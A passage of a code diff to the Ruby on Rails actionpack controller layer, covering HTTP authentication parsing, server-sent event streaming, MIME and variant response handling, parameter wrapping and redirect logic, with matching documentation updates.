login_procedure.call(*user_name_and_password(request))
end
end
+ def has_basic_credentials?(request)
+ request.authorization.present? && (auth_scheme(request) == 'Basic')
+ end
+
def user_name_and_password(request)
- decode_credentials(request).split(/:/, 2)
+ decode_credentials(request).split(':', 2)
end
def decode_credentials(request)
- ::Base64.decode64(request.authorization.split(' ', 2).last || '')
+ ::Base64.decode64(auth_param(request) || '')
+ end
+
+ def auth_scheme(request)
+ request.authorization.split(' ', 2).first
+ end
+
+ def auth_param(request)
+ request.authorization.split(' ', 2).second
end
def encode_credentials(user_name, password)
@@ -109,8 +121,8 @@ module ActionController
def authentication_request(controller, realm)
controller.headers["WWW-Authenticate"] = %(Basic realm="#{realm.gsub(/"/, "")}")
- controller.response_body = "HTTP Basic: Access denied.\n"
controller.status = 401
+ controller.response_body = "HTTP Basic: Access denied.\n"
end
end
@@ -127,11 +139,11 @@ module ActionController
# before_action :authenticate, except: [:index]
#
# def index
- # render text: "Everyone can see me!"
+ # render plain: "Everyone can see me!"
# end
#
# def edit
- # render text: "I'm only accessible if you know the password"
+ # render plain: "I'm only accessible if you know the password"
# end
#
# private
@@ -228,7 +240,7 @@ module ActionController
end
def decode_credentials(header)
- HashWithIndifferentAccess[header.to_s.gsub(/^Digest\s+/,'').split(',').map do |pair|
+ ActiveSupport::HashWithIndifferentAccess[header.to_s.gsub(/^Digest\s+/, '').split(',').map do |pair|
key, value = pair.split('=', 2)
[key.strip, value.to_s.gsub(/^"|"$/,'').delete('\'')]
end]
@@ -244,8 +256,8 @@ module ActionController
def authentication_request(controller, realm, message = nil)
message ||= "HTTP Digest: Access denied.\n"
authentication_header(controller, realm)
- controller.response_body = message
controller.status = 401
+ controller.response_body = message
end
def secret_token(request)
@@ -299,6 +311,7 @@ module ActionController
# allow a user to use new nonce without prompting user again for their
# username and password.
def validate_nonce(secret_key, request, value, seconds_to_timeout=5*60)
+ return false if value.nil?
t = ::Base64.decode64(value).split(":").first.to_i
nonce(secret_key, t) == value && (t - Time.now.to_i).abs <= seconds_to_timeout
end
@@ -320,11 +333,11 @@ module ActionController
# before_action :authenticate, except: [ :index ]
#
# def index
- # render text: "Everyone can see me!"
+ # render plain: "Everyone can see me!"
# end
#
# def edit
- # render text: "I'm only accessible if you know the password"
+ # render plain: "I'm only accessible if you know the password"
# end
#
# private
@@ -344,7 +357,7 @@ module ActionController
#
# protected
# def set_account
- # @account = Account.find_by_url_name(request.subdomains.first)
+ # @account = Account.find_by(url_name: request.subdomains.first)
# end
#
# def authenticate
@@ -384,6 +397,9 @@ module ActionController
#
# RewriteRule ^(.*)$ dispatch.fcgi [E=X-HTTP_AUTHORIZATION:%{HTTP:Authorization},QSA,L]
module Token
+ TOKEN_KEY = 'token='
+ TOKEN_REGEX = /^Token /
+ AUTHN_PAIR_DELIMITERS = /(?:,|;|\t+)/
extend self
module ControllerMethods
@@ -431,20 +447,40 @@ module ActionController
# Returns an Array of [String, Hash] if a token is present.
# Returns nil if no token is found.
def token_and_options(request)
- if request.authorization.to_s[/^Token (.*)/]
- values = Hash[$1.split(',').map do |value|
- value.strip! # remove any spaces between commas and values
- key, value = value.split(/\=\"?/) # split key=value pairs
- if value
- value.chomp!('"') # chomp trailing " in value
- value.gsub!(/\\\"/, '"') # unescape remaining quotes
- [key, value]
- end
- end.compact]
- [values.delete("token"), values.with_indifferent_access]
+ authorization_request = request.authorization.to_s
+ if authorization_request[TOKEN_REGEX]
+ params = token_params_from authorization_request
+ [params.shift[1], Hash[params].with_indifferent_access]
end
end
+ def token_params_from(auth)
+ rewrite_param_values params_array_from raw_params auth
+ end
+
+ # Takes raw_params and turns it into an array of parameters
+ def params_array_from(raw_params)
+ raw_params.map { |param| param.split %r/=(.+)?/ }
+ end
+
+ # This removes the <tt>"</tt> characters wrapping the value.
+ def rewrite_param_values(array_params)
+ array_params.each { |param| (param[1] || "").gsub! %r/^"|"$/, '' }
+ end
+
+ # This method takes an authorization body and splits up the key-value
+ # pairs by the standardized <tt>:</tt>, <tt>;</tt>, or <tt>\t</tt>
+ # delimiters defined in +AUTHN_PAIR_DELIMITERS+.
+ def raw_params(auth)
+ _raw_params = auth.sub(TOKEN_REGEX, '').split(/\s*#{AUTHN_PAIR_DELIMITERS}\s*/)
+
+ if !(_raw_params.first =~ %r{\A#{TOKEN_KEY}})
+ _raw_params[0] = "#{TOKEN_KEY}#{_raw_params.first}"
+ end
+
+ _raw_params
+ end
+
# Encodes the given token and options into an Authorization header value.
#
# token - String token.
@@ -452,7 +488,7 @@ module ActionController
#
# Returns String.
def encode_credentials(token, options = {})
- values = ["token=#{token.to_s.inspect}"] + options.map do |key, value|
+ values = ["#{TOKEN_KEY}#{token.to_s.inspect}"] + options.map do |key, value|
"#{key}=#{value.to_s.inspect}"
end
"Token #{values * ", "}"
diff --git a/actionpack/lib/action_controller/metal/instrumentation.rb b/actionpack/lib/action_controller/metal/instrumentation.rb
index d3aa8f90c5..bef7545e71 100644
--- a/actionpack/lib/action_controller/metal/instrumentation.rb
+++ b/actionpack/lib/action_controller/metal/instrumentation.rb
@@ -21,7 +21,7 @@ module ActionController
:action => self.action_name,
:params => request.filtered_parameters,
:format => request.format.try(:ref),
- :method => request.method,
+ :method => request.request_method,
:path => (request.fullpath rescue "unknown")
}
@@ -67,7 +67,7 @@ module ActionController
private
- # A hook invoked everytime a before callback is halted.
+ # A hook invoked every time a before callback is halted.
def halted_callback_hook(filter)
ActiveSupport::Notifications.instrument("halted_callback.action_controller", :filter => filter)
end
diff --git a/actionpack/lib/action_controller/metal/live.rb b/actionpack/lib/action_controller/metal/live.rb
index 32e5afa335..7590fb6843 100644
--- a/actionpack/lib/action_controller/metal/live.rb
+++ b/actionpack/lib/action_controller/metal/live.rb
@@ -1,5 +1,6 @@
require 'action_dispatch/http/response'
require 'delegate'
+require 'active_support/json'
module ActionController
# Mix this module in to your controller, and all actions in that controller
@@ -14,6 +15,7 @@ module ActionController
# response.stream.write "hello world\n"
# sleep 1
# }
+ # ensure
# response.stream.close
# end
# end
@@ -31,8 +33,99 @@ module ActionController
# the main thread. Make sure your actions are thread safe, and this shouldn't
# be a problem (don't share state across threads, etc).
module Live
+ # This class provides the ability to write an SSE (Server Sent Event)
+ # to an IO stream. The class is initialized with a stream and can be used
+ # to either write a JSON string or an object which can be converted to JSON.
+ #
+ # Writing an object will convert it into standard SSE format with whatever
+ # options you have configured. You may choose to set the following options:
+ #
+ # 1) Event. If specified, an event with this name will be dispatched on
+ # the browser.
+ # 2) Retry. The reconnection time in milliseconds used when attempting
+ # to send the event.
+ # 3) Id. If the connection dies while sending an SSE to the browser, then
+ # the server will receive a +Last-Event-ID+ header with value equal to +id+.
+ #
+ # After setting an option in the constructor of the SSE object, all future
+ # SSEs sent across the stream will use those options unless overridden.
+ #
+ # Example Usage:
+ #
+ # class MyController < ActionController::Base
+ # include ActionController::Live
+ #
+ # def index
+ # response.headers['Content-Type'] = 'text/event-stream'
+ # sse = SSE.new(response.stream, retry: 300, event: "event-name")
+ # sse.write({ name: 'John'})
+ # sse.write({ name: 'John'}, id: 10)
+ # sse.write({ name: 'John'}, id: 10, event: "other-event")
+ # sse.write({ name: 'John'}, id: 10, event: "other-event", retry: 500)
+ # ensure
+ # sse.close
+ # end
+ # end
+ #
+ # Note: SSEs are not currently supported by IE. However, they are supported
+ # by Chrome, Firefox, Opera, and Safari.
+ class SSE
+
+ WHITELISTED_OPTIONS = %w( retry event id )
+
+ def initialize(stream, options = {})
+ @stream = stream
+ @options = options
+ end
+
+ def close
+ @stream.close
+ end
+
+ def write(object, options = {})
+ case object
+ when String
+ perform_write(object, options)
+ else
+ perform_write(ActiveSupport::JSON.encode(object), options)
+ end
+ end
+
+ private
+
+ def perform_write(json, options)
+ current_options = @options.merge(options).stringify_keys
+
+ WHITELISTED_OPTIONS.each do |option_name|
+ if (option_value = current_options[option_name])
+ @stream.write "#{option_name}: #{option_value}\n"
+ end
+ end
+
+ message = json.gsub(/\n/, "\ndata: ")
+ @stream.write "data: #{message}\n\n"
+ end
+ end
+
+ class ClientDisconnected < RuntimeError
+ end
+
class Buffer < ActionDispatch::Response::Buffer #:nodoc:
+ include MonitorMixin
+
+ # Ignore that the client has disconnected.
+ #
+ # If this value is `true`, calling `write` after the client
+ # disconnects will result in the written content being silently
+ # discarded. If this value is `false` (the default), a
+ # ClientDisconnected exception will be raised.
+ attr_accessor :ignore_disconnect
+
def initialize(response)
+ @error_callback = lambda { true }
+ @cv = new_cond
+ @aborted = false
+ @ignore_disconnect = false
super(response, SizedQueue.new(10))
end
@@ -43,22 +136,70 @@ module ActionController
end
super
+
+ unless connected?
+ @buf.clear
+
+ unless @ignore_disconnect
+ # Raise ClientDisconnected, which is a RuntimeError (not an
+ # IOError), because that's more appropriate for something beyond
+ # the developer's control.
+ raise ClientDisconnected, "client disconnected"
+ end
+ end
end
def each
+ @response.sending!
while str = @buf.pop
yield str
end
+ @response.sent!
end
+ # Write a 'close' event to the buffer; the producer/writing thread
+ # uses this to notify us that it's finished supplying content.
+ #
+ # See also #abort.
def close
- super
- @buf.push nil
+ synchronize do
+ super
+ @buf.push nil
+ @cv.broadcast
+ end
+ end
+
+ # Inform the producer/writing thread that the client has
+ # disconnected; the reading thread is no longer interested in
+ # anything that's being written.
+ #
+ # See also #close.
+ def abort
+ synchronize do
+ @aborted = true
+ @buf.clear
+ end
+ end
+
+ # Is the client still connected and waiting for content?
+ #
+ # The result of calling `write` when this is `false` is determined
+ # by `ignore_disconnect`.
+ def connected?
+ !@aborted
+ end
+
+ def on_error(&block)
+ @error_callback = block
+ end
+
+ def call_on_error
+ @error_callback.call
end
end
class Response < ActionDispatch::Response #:nodoc: all
- class Header < DelegateClass(Hash)
+ class Header < DelegateClass(Hash) # :nodoc:
def initialize(response, header)
@response = response
super(header)
@@ -81,12 +222,20 @@ module ActionController
end
end
- def commit!
- headers.freeze
+ private
+
+ def before_committed
super
+ jar = request.cookie_jar
+ # The response can be committed multiple times
+ jar.write self unless committed?
end
- private
+ def before_sending
+ super
+ request.cookie_jar.commit!
+ headers.freeze
+ end
def build_buffer(response, body)
buf = Live::Buffer.new response
@@ -97,12 +246,17 @@ module ActionController
def merge_default_headers(original, default)
Header.new self, super
end
+
+ def handle_conditional_get!
+ super unless committed?
+ end
end
def process(name)
t1 = Thread.current
locals = t1.keys.map { |key| [key, t1[key]] }
+ error = nil
# This processes the action in a child thread. It lets us return the
# response code and headers back up the rack stack, and still process
# the body in parallel with sending data to the client
@@ -116,17 +270,44 @@ module ActionController
begin
super(name)
+ rescue => e
+ if @_response.committed?
+ begin
+ @_response.stream.write(ActionView::Base.streaming_completion_on_exception) if request.format == :html
+ @_response.stream.call_on_error
+ rescue => exception
+ log_error(exception)
+ ensure
+ log_error(e)
+ @_response.stream.close
+ end
+ else
+ error = e
+ end
ensure
@_response.commit!
end
}
@_response.await_commit
+ raise error if error
+ end
+
+ def log_error(exception)
+ logger = ActionController::Base.logger
+ return unless logger
+
+ logger.fatal do
+ message = "\n#{exception.class} (#{exception.message}):\n"
+ message << exception.annoted_source_code.to_s if exception.respond_to?(:annoted_source_code)
+ message << " " << exception.backtrace.join("\n ")
+ "#{message}\n\n"
+ end
end
def response_body=(body)
super
- response.stream.close if response
+ response.close if response
end
def set_response!(request)
diff --git a/actionpack/lib/action_controller/metal/mime_responds.rb b/actionpack/lib/action_controller/metal/mime_responds.rb
index 6bf306ac5b..ac1f209232 100644
--- a/actionpack/lib/action_controller/metal/mime_responds.rb
+++ b/actionpack/lib/action_controller/metal/mime_responds.rb
@@ -1,59 +1,26 @@
+require 'active_support/core_ext/array/extract_options'
require 'abstract_controller/collector'
module ActionController #:nodoc:
module MimeResponds
extend ActiveSupport::Concern
- included do
- class_attribute :responder, :mimes_for_respond_to
- self.responder = ActionController::Responder
- clear_respond_to
- end
-
module ClassMethods
- # Defines mime types that are rendered by default when invoking
- # <tt>respond_with</tt>.
- #
- # respond_to :html, :xml, :json
- #
- # Specifies that all actions in the controller respond to requests
- # for <tt>:html</tt>, <tt>:xml</tt> and <tt>:json</tt>.
- #
- # To specify on per-action basis, use <tt>:only</tt> and
- # <tt>:except</tt> with an array of actions or a single action:
- #
- # respond_to :html
- # respond_to :xml, :json, except: [ :edit ]
- #
- # This specifies that all actions respond to <tt>:html</tt>
- # and all actions except <tt>:edit</tt> respond to <tt>:xml</tt> and
- # <tt>:json</tt>.
- #
- # respond_to :json, only: :create
- #
- # This specifies that the <tt>:create</tt> action and no other responds
- # to <tt>:json</tt>.
- def respond_to(*mimes)
- options = mimes.extract_options!
-
- only_actions = Array(options.delete(:only)).map(&:to_s)
- except_actions = Array(options.delete(:except)).map(&:to_s)
-
- new = mimes_for_respond_to.dup
- mimes.each do |mime|
- mime = mime.to_sym
- new[mime] = {}
- new[mime][:only] = only_actions unless only_actions.empty?
- new[mime][:except] = except_actions unless except_actions.empty?
- end
- self.mimes_for_respond_to = new.freeze
+ def respond_to(*)
+ raise NoMethodError, "The controller-level `respond_to' feature has " \
+ "been extracted to the `responders` gem. Add it to your Gemfile to " \
+ "continue using this feature:\n" \
+ " gem 'responders', '~> 2.0'\n" \
+ "Consult the Rails upgrade guide for details."
end
+ end
- # Clear all mime types in <tt>respond_to</tt>.
- #
- def clear_respond_to
- self.mimes_for_respond_to = Hash.new.freeze
- end
+ def respond_with(*)
+ raise NoMethodError, "The `respond_with' feature has been extracted " \
+ "to the `responders` gem. Add it to your Gemfile to continue using " \
+ "this feature:\n" \
+ " gem 'responders', '~> 2.0'\n" \
+ "Consult the Rails upgrade guide for details."
end
# Without web-service support, an action which collects the data for displaying a list of people
@@ -82,7 +49,7 @@ module ActionController #:nodoc:
# (by name) if it does not already exist, without web-services, it might look like this:
#
# def create
- # @company = Company.find_or_create_by_name(params[:company][:name])
+ # @company = Company.find_or_create_by(name: params[:company][:name])
# @person = @company.people.create(params[:person])
#
# redirect_to(person_list_url)
@@ -92,7 +59,7 @@ module ActionController #:nodoc:
#
# def create
# company = params[:person].delete(:company)
- # @company = Company.find_or_create_by_name(company[:name])
+ # @company = Company.find_or_create_by(name: company[:name])
# @person = @company.people.create(params[:person])
#
# respond_to do |format|
@@ -120,7 +87,7 @@ module ActionController #:nodoc:
# Note, however, the extra bit at the top of that action:
#
# company = params[:person].delete(:company)
- # @company = Company.find_or_create_by_name(company[:name])
+ # @company = Company.find_or_create_by(name: company[:name])
#
# This is because the incoming XML document (if a web-service request is in process) can only contain a
# single root-node. So, we have to rearrange things so that the request looks like this (url-encoded):
@@ -168,205 +135,85 @@ module ActionController #:nodoc:
#
# render json: @people
#
- # Since this is a common pattern, you can use the class method respond_to
- # with the respond_with method to have the same results:
+ # Formats can have different variants.
#
- # class PeopleController < ApplicationController
- # respond_to :html, :xml, :json
+ # The request variant is a specialization of the request format, like <tt>:tablet</tt>,
+ # <tt>:phone</tt>, or <tt>:desktop</tt>.
#
- # def index
- # @people = Person.all
- # respond_with(@people)
- # end
- # end
+ # We often want to render different html/json/xml templates for phones,
+ # tablets, and desktop browsers. Variants make it easy.
#
- # Be sure to check the documentation of +respond_with+ and
- # <tt>ActionController::MimeResponds.respond_to</tt> for more examples.
- def respond_to(*mimes, &block)
- raise ArgumentError, "respond_to takes either types or a block, never both" if mimes.any? && block_given?
-
- if collector = retrieve_collector_from_mimes(mimes, &block)
- response = collector.response
- response ? response.call : render({})
- end
- end
-
- # For a given controller action, respond_with generates an appropriate
- # response based on the mime-type requested by the client.
+ # You can set the variant in a +before_action+:
#
- # If the method is called with just a resource, as in this example -
+ # request.variant = :tablet if request.user_agent =~ /iPad/
#
- # class PeopleController < ApplicationController
- # respond_to :html, :xml, :json
+ # Respond to variants in the action just like you respond to formats:
#
- # def index
- # @people = Person.all
- # respond_with @people
+ # respond_to do |format|
+ # format.html do |variant|
+ # variant.tablet # renders app/views/projects/show.html+tablet.erb
+ # variant.phone { extra_setup; render ... }
+ # variant.none { special_setup } # executed only if there is no variant set
# end
# end
#
- # then the mime-type of the response is typically selected based on the
- # request's Accept header and the set of available formats declared
- # by previous calls to the controller's class method +respond_to+. Alternatively
- # the mime-type can be selected by explicitly setting <tt>request.format</tt> in
- # the controller.
- #
- # If an acceptable format is not identified, the application returns a
- # '406 - not acceptable' status. Otherwise, the default response is to render
- # a template named after the current action and the selected format,
- # e.g. <tt>index.html.erb</tt>. If no template is available, the behavior
- # depends on the selected format:
- #
- # * for an html response - if the request method is +get+, an exception
- # is raised but for other requests such as +post+ the response
- # depends on whether the resource has any validation errors (i.e.
- # assuming that an attempt has been made to save the resource,
- # e.g. by a +create+ action) -
- # 1. If there are no errors, i.e. the resource
- # was saved successfully, the response +redirect+'s to the resource
- # i.e. its +show+ action.
- # 2. If there are validation errors, the response
- # renders a default action, which is <tt>:new</tt> for a
- # +post+ request or <tt>:edit</tt> for +put+.
- # Thus an example like this -
- #
- # respond_to :html, :xml
- #
- # def create
- # @user = User.new(params[:user])
- # flash[:notice] = 'User was successfully created.' if @user.save
- # respond_with(@user)
- # end
+ # Provide separate templates for each format and variant:
#
- # is equivalent, in the absence of <tt>create.html.erb</tt>, to -
- #
- # def create
- # @user = User.new(params[:user])
- # respond_to do |format|
- # if @user.save
- # flash[:notice] = 'User was successfully created.'
- # format.html { redirect_to(@user) }
- # format.xml { render xml: @user }
- # else
- # format.html { render action: "new" }
- # format.xml { render xml: @user }
- # end
- # end
- # end
+ # app/views/projects/show.html.erb
+ # app/views/projects/show.html+tablet.erb
+ # app/views/projects/show.html+phone.erb
#
- # * for a javascript request - if the template isn't found, an exception is
- # raised.
- # * for other requests - i.e. data formats such as xml, json, csv etc, if
- # the resource passed to +respond_with+ responds to <code>to_<format></code>,
- # the method attempts to render the resource in the requested format
- # directly, e.g. for an xml request, the response is equivalent to calling
- # <code>render xml: resource</code>.
+ # When you're not sharing any code within the format, you can simplify defining variants
+ # using the inline syntax:
#
- # === Nested resources
+ # respond_to do |format|
+ # format.js { render "trash" }
+ # format.html.phone { redirect_to progress_path }
+ # format.html.none { render "trash" }
+ # end
#
- # As outlined above, the +resources+ argument passed to +respond_with+
- # can play two roles. It can be used to generate the redirect url
- # for successful html requests (e.g. for +create+ actions when
- # no template exists), while for formats other than html and javascript
- # it is the object that gets rendered, by being converted directly to the
- # required format (again assuming no template exists).
+ # Variants also support common `any`/`all` block that formats have.
#
- # For redirecting successful html requests, +respond_with+ also supports
- # the use of nested resources, which are supplied in the same way as
- # in <code>form_for</code> and <code>polymorphic_url</code>. For example -
+ # It works for both inline:
#
- # def create
- # @project = Project.find(params[:project_id])
- # @task = @project.comments.build(params[:task])
- # flash[:notice] = 'Task was successfully created.' if @task.save
- # respond_with(@project, @task)
+ # respond_to do |format|
+ # format.html.any { render text: "any" }
+ # format.html.phone { render text: "phone" }
# end
#
- # This would cause +respond_with+ to redirect to <code>project_task_url</code>
- # instead of <code>task_url</code>. For request formats other than html or
- # javascript, if multiple resources are passed in this way, it is the last
- # one specified that is rendered.
+ # and block syntax:
#
- # === Customizing response behavior
+ # respond_to do |format|
+ # format.html do |variant|
+ # variant.any(:tablet, :phablet){ render text: "any" }
+ # variant.phone { render text: "phone" }
+ # end
+ # end
#
- # Like +respond_to+, +respond_with+ may also be called with a block that
- # can be used to overwrite any of the default responses, e.g. -
+ # You can also set an array of variants:
#
- # def create
- # @user = User.new(params[:user])
- # flash[:notice] = "User was successfully created." if @user.save
+ # request.variant = [:tablet, :phone]
#
- # respond_with(@user) do |format|
- # format.html { render }
- # end
+ # which will work similarly to formats and MIME types negotiation. If there will be no
+ # :tablet variant declared, :phone variant will be picked:
+ #
+ # respond_to do |format|
+ # format.html.none
+ # format.html.phone # this gets rendered
# end
#
- # The argument passed to the block is an ActionController::MimeResponds::Collector
- # object which stores the responses for the formats defined within the
- # block. Note that formats with responses defined explicitly in this way
- # do not have to first be declared using the class method +respond_to+.
- #
- # Also, a hash passed to +respond_with+ immediately after the specified
- # resource(s) is interpreted as a set of options relevant to all
- # formats. Any option accepted by +render+ can be used, e.g.
- # respond_with @people, status: 200
- # However, note that these options are ignored after an unsuccessful attempt
- # to save a resource, e.g. when automatically rendering <tt>:new</tt>
- # after a post request.
- #
- # Two additional options are relevant specifically to +respond_with+ -
- # 1. <tt>:location</tt> - overwrites the default redirect location used after
- # a successful html +post+ request.
- # 2. <tt>:action</tt> - overwrites the default render action used after an
- # unsuccessful html +post+ request.
- def respond_with(*resources, &block)
- raise "In order to use respond_with, first you need to declare the formats your " <<
- "controller responds to in the class level" if self.class.mimes_for_respond_to.empty?
-
- if collector = retrieve_collector_from_mimes(&block)
- options = resources.size == 1 ? {} : resources.extract_options!
- options[:default_response] = collector.response
- (options.delete(:responder) || self.class.responder).call(self, resources, options)
- end
- end
-
- protected
-
- # Collect mimes declared in the class method respond_to valid for the
- # current action.
- def collect_mimes_from_class_level #:nodoc:
- action = action_name.to_s
-
- self.class.mimes_for_respond_to.keys.select do |mime|
- config = self.class.mimes_for_respond_to[mime]
-
- if config[:except]
- !config[:except].include?(action)
- elsif config[:only]
- config[:only].include?(action)
- else
- true
- end
- end
- end
+ # Be sure to check the documentation of <tt>ActionController::MimeResponds.respond_to</tt>
+ # for more examples.
+ def respond_to(*mimes)
+ raise ArgumentError, "respond_to takes either types or a block, never both" if mimes.any? && block_given?
- # Returns a Collector object containing the appropriate mime-type response
- # for the current request, based on the available responses defined by a block.
- # In typical usage this is the block passed to +respond_with+ or +respond_to+.
- #
- # Sends :not_acceptable to the client and returns nil if no suitable format
- # is available.
- def retrieve_collector_from_mimes(mimes=nil, &block) #:nodoc:
- mimes ||= collect_mimes_from_class_level
- collector = Collector.new(mimes)
- block.call(collector) if block_given?
- format = collector.negotiate_format(request)
+ collector = Collector.new(mimes, request.variant)
+ yield collector if block_given?
- if format
- self.content_type ||= format.to_s
- lookup_context.formats = [format.to_sym]
- lookup_context.rendered_format = lookup_context.formats.first
- collector
+ if format = collector.negotiate_format(request)
+ _process_format(format)
+ response = collector.response
+ response ? response.call : render({})
else
raise ActionController::UnknownFormat
end
@@ -375,8 +222,8 @@ module ActionController #:nodoc:
# A container for responses available from the current controller for
# requests for different mime-types sent to a particular action.
#
- # The public controller methods +respond_with+ and +respond_to+ may be called
- # with a block that is used to define responses to different mime-types, e.g.
+ # The public controller methods +respond_to+ may be called with a block
+ # that is used to define responses to different mime-types, e.g.
# for +respond_to+ :
#
# respond_to do |format|
@@ -396,11 +243,13 @@ module ActionController #:nodoc:
# request, with this response then being accessible by calling #response.
class Collector
include AbstractController::Collector
- attr_accessor :order, :format
+ attr_accessor :format
+
+ def initialize(mimes, variant = nil)
+ @responses = {}
+ @variant = variant
- def initialize(mimes)
- @order, @responses = [], {}
- mimes.each { |mime| send(mime) }
+ mimes.each { |mime| @responses["Mime::#{mime.upcase}".constantize] = nil }
end
def any(*args, &block)
@@ -414,16 +263,62 @@ module ActionController #:nodoc:
def custom(mime_type, &block)
mime_type = Mime::Type.lookup(mime_type.to_s) unless mime_type.is_a?(Mime::Type)
- @order << mime_type
- @responses[mime_type] ||= block
+ @responses[mime_type] ||= if block_given?
+ block
+ else
+ VariantCollector.new(@variant)
+ end
end
def response
- @responses[format] || @responses[Mime::ALL]
+ response = @responses.fetch(format, @responses[Mime::ALL])
+ if response.is_a?(VariantCollector) # `format.html.phone` - variant inline syntax
+ response.variant
+ elsif response.nil? || response.arity == 0 # `format.html` - just a format, call its block
+ response
+ else # `format.html{ |variant| variant.phone }` - variant block syntax
+ variant_collector = VariantCollector.new(@variant)
+ response.call(variant_collector) # call format block with variants collector
+ variant_collector.variant
+ end
end
def negotiate_format(request)
- @format = request.negotiate_mime(order)
+ @format = request.negotiate_mime(@responses.keys)
+ end
+
+ class VariantCollector #:nodoc:
+ def initialize(variant = nil)
+ @variant = variant
+ @variants = {}
+ end
+
+ def any(*args, &block)
+ if block_given?
+ if args.any? && args.none?{ |a| a == @variant }
+ args.each{ |v| @variants[v] = block }
+ else
+ @variants[:any] = block
+ end
+ end
+ end
+ alias :all :any
+
+ def method_missing(name, *args, &block)
+ @variants[name] = block if block_given?
+ end
+
+ def variant
+ if @variant.nil?
+ @variants[:none] || @variants[:any]
+ elsif (@variants.keys & @variant).any?
+ @variant.each do |v|
+ return @variants[v] if @variants.key?(v)
+ end
+ else
+ @variants[:any]
+ end
+ end
end
end
end
diff --git a/actionpack/lib/action_controller/metal/params_wrapper.rb b/actionpack/lib/action_controller/metal/params_wrapper.rb
index c9f1d8dcb4..09c7a6f946 100644
--- a/actionpack/lib/action_controller/metal/params_wrapper.rb
+++ b/actionpack/lib/action_controller/metal/params_wrapper.rb
@@ -231,7 +231,12 @@ module ActionController
# by the metal call stack.
def process_action(*args)
if _wrapper_enabled?
- wrapped_hash = _wrap_parameters request.request_parameters
+ if request.parameters[_wrapper_key].present?
+ wrapped_hash = _extract_parameters(request.parameters)
+ else
+ wrapped_hash = _wrap_parameters request.request_parameters
+ end
+
wrapped_keys = request.request_parameters.keys
wrapped_filtered_hash = _wrap_parameters request.filtered_parameters.slice(*wrapped_keys)
@@ -239,7 +244,7 @@ module ActionController
request.parameters.merge! wrapped_hash
request.request_parameters.merge! wrapped_hash
- # This will make the wrapped hash displayed in the log file
+ # This will display the wrapped hash in the log file
request.filtered_parameters.merge! wrapped_filtered_hash
end
super
@@ -247,7 +252,7 @@ module ActionController
private
- # Returns the wrapper key which will use to stored wrapped parameters.
+ # Returns the wrapper key which will be used to stored wrapped parameters.
def _wrapper_key
_wrapper_options.name
end
@@ -259,14 +264,16 @@ module ActionController
# Returns the list of parameters which will be selected for wrapped.
def _wrap_parameters(parameters)
- value = if include_only = _wrapper_options.include
+ { _wrapper_key => _extract_parameters(parameters) }
+ end
+
+ def _extract_parameters(parameters)
+ if include_only = _wrapper_options.include
parameters.slice(*include_only)
else
exclude = _wrapper_options.exclude || []
parameters.except(*(exclude + EXCLUDE_PARAMETERS))
end
-
- { _wrapper_key => value }
end
# Checks if we should perform parameters wrapping.
diff --git a/actionpack/lib/action_controller/metal/rack_delegation.rb b/actionpack/lib/action_controller/metal/rack_delegation.rb
index bdf6e88699..545d4a7e6e 100644
--- a/actionpack/lib/action_controller/metal/rack_delegation.rb
+++ b/actionpack/lib/action_controller/metal/rack_delegation.rb
@@ -6,7 +6,7 @@ module ActionController
extend ActiveSupport::Concern
delegate :headers, :status=, :location=, :content_type=,
- :status, :location, :content_type, :to => "@_response"
+ :status, :location, :content_type, :response_code, :to => "@_response"
def dispatch(action, request)
set_response!(request)
diff --git a/actionpack/lib/action_controller/metal/redirecting.rb b/actionpack/lib/action_controller/metal/redirecting.rb
index b23938e7d9..acaa8227c9 100644
--- a/actionpack/lib/action_controller/metal/redirecting.rb
+++ b/actionpack/lib/action_controller/metal/redirecting.rb
@@ -14,7 +14,7 @@ module ActionController
include ActionController::RackDelegation
include ActionController::UrlFor
- # Redirects the browser to the target specified in +options+. This parameter can take one of three forms:
+ # Redirects the browser to the target specified in +options+. This parameter can be any one of:
#
# * <tt>Hash</tt> - The URL will be generated by calling url_for with the +options+.
# * <tt>Record</tt> - The URL will be generated by calling url_for with the +options+, which will reference a named URL for that record.
@@ -24,6 +24,8 @@ module ActionController
# * <tt>:back</tt> - Back to the page that issued the request. Useful for forms that are triggered from multiple places.
# Short-hand for <tt>redirect_to(request.env["HTTP_REFERER"])</tt>
#
+ # === Examples:
+ #
# redirect_to action: "show", id: 5
# redirect_to post
# redirect_to "http://www.rubyonrails.org"
@@ -32,7 +34,7 @@ module ActionController
# redirect_to :back
# redirect_to proc { edit_post_url(@post) }
#
- # The redirection happens as a "302 Moved" header unless otherwise specified.
+ # The redirection happens as a "302 Found" header unless otherwise specified using the <tt>:status</tt> option:
#
# redirect_to post_url(@post), status: :found
# redirect_to action: 'atom', status: :moved_permanently
@@ -58,23 +60,47 @@ module ActionController
# redirect_to post_url(@post), alert: "Watch it, mister!"
# redirect_to post_url(@post), status: :found, notice: "Pay attention to the road"
# redirect_to post_url(@post), status: 301, flash: { updated_post_id: @post.id }
- # redirect_to { action: 'atom' }, alert: "Something serious happened"
+ # redirect_to({ action: 'atom' }, alert: "Something serious happened")
#
- # When using <tt>redirect_to :back</tt>, if there is no referrer, ActionController::RedirectBackError will be raised. You may specify some fallback
- # behavior for this case by rescuing ActionController::RedirectBackError.
+ # When using <tt>redirect_to :back</tt>, if there is no referrer,
+ # <tt>ActionController::RedirectBackError</tt> will be raised. You
+ # may specify some fallback behavior for this case by rescuing
+ # <tt>ActionController::RedirectBackError</tt>.
def redirect_to(options = {}, response_status = {}) #:doc:
raise ActionControllerError.new("Cannot redirect to nil!") unless options
+ raise ActionControllerError.new("Cannot redirect to a parameter hash!") if options.is_a?(ActionController::Parameters)
raise AbstractController::DoubleRenderError if response_body
- logger.debug { "Redirected by #{caller(1).first rescue "unknown"}" } if logger
self.status = _extract_redirect_to_status(options, response_status)
- self.location = _compute_redirect_to_location(options)
- self.response_body = "<html><body>You are being <a href=\"#{ERB::Util.h(location)}\">redirected</a>.</body></html>"
+ self.location = _compute_redirect_to_location(request, options)
+ self.response_body = "<html><body>You are being <a href=\"#{ERB::Util.unwrapped_html_escape(location)}\">redirected</a>.</body></html>"
+ end
+
+ def _compute_redirect_to_location(request, options) #:nodoc:
+ case options
+ # The scheme name consist of a letter followed by any combination of
+ # letters, digits, and the plus ("+"), period ("."), or hyphen ("-")
+ # characters; and is terminated by a colon (":").
+ # See http://tools.ietf.org/html/rfc3986#section-3.1
+ # The protocol relative scheme starts with a double slash "//".
+ when /\A([a-z][a-z\d\-+\.]*:|\/\/).*/i
+ options
+ when String
+ request.protocol + request.host_with_port + options
+ when :back
+ request.headers["Referer"] or raise RedirectBackError
+ when Proc
+ _compute_redirect_to_location request, options.call
